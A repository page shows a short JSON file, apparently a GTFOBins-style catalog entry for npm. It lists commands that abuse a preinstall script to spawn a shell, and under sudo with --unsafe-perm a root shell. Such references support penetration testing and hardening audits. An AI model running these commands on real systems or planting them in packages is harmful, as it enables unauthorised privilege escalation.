You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
15 lines
362 B
JSON
15 lines
362 B
JSON
4 years ago
|
{
|
||
|
"functions": {
|
||
|
"shell": [
|
||
|
{
|
||
|
"code": "TF=$(mktemp -d)\necho '{\"scripts\": {\"preinstall\": \"/bin/sh\"}}' > $TF/package.json\nnpm -C $TF i\n"
|
||
|
}
|
||
|
],
|
||
|
"sudo": [
|
||
|
{
|
||
|
"code": "TF=$(mktemp -d)\necho '{\"scripts\": {\"preinstall\": \"/bin/sh\"}}' > $TF/package.json\nsudo npm -C $TF --unsafe-perm i\n"
|
||
|
}
|
||
|
]
|
||
|
}
|
||
|
}
|